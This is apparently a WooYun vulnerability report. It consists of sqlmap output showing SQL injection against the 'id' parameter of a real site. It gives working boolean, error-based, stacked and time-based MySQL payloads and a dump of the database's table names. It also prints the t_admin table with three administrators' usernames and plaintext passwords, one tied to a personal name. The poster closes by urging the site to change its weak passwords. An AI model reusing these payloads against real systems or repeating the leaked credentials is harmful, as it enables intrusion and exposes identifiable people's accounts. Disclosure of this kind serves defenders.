WooYun.org

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=12 AND 3348=3348
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: id=12 AND (SELECT 6005 FROM(SELECT COUNT(*),CONCAT(0x71627a7671,(SE
LECT (ELT(6005=6005,1))),0x7170706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA
.CHARACTER_SETS GROUP BY x)a)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: id=12;(SELECT * FROM (SELECT(SLEEP(5)))XTwe)#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=12 AND (SELECT * FROM (SELECT(SLEEP(5)))ASuB)
---
[20:27:34] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL 5.0
+-----------------------------+
| $x |
| gsgzs |
| jos_search_reports_customer |
| jos_search_reports_para |
| njbglist |
| qdnj |
| qnnj |
| qxnj |
| qznj |
| sqlmapfile |
| sqlmapoutput |
| t_academic |
| t_admin |
| t_annals |
| t_announcement |
| t_article |
| t_companyinfo |
| t_content |
| t_dashiji |
| t_log |
| t_medianews |
| t_message |
| t_news |
| t_staff |
| t_users |
| t_weblink |
| t_xiazai |
+-----------------------------+
Database: vcanbio_zhongyuanxiehe
Table: t_admin
[3 entries]
+-------+-------------+
| uname | UPassword |
+-------+-------------+
| 超级管理员 | hezeshengwu |
| 管理员 | 123456 |
| 王震东 | wzd |
+-------+-------------+
别的东西我可没动，换换密码吧，太弱了
【哈欠】图像自行脑补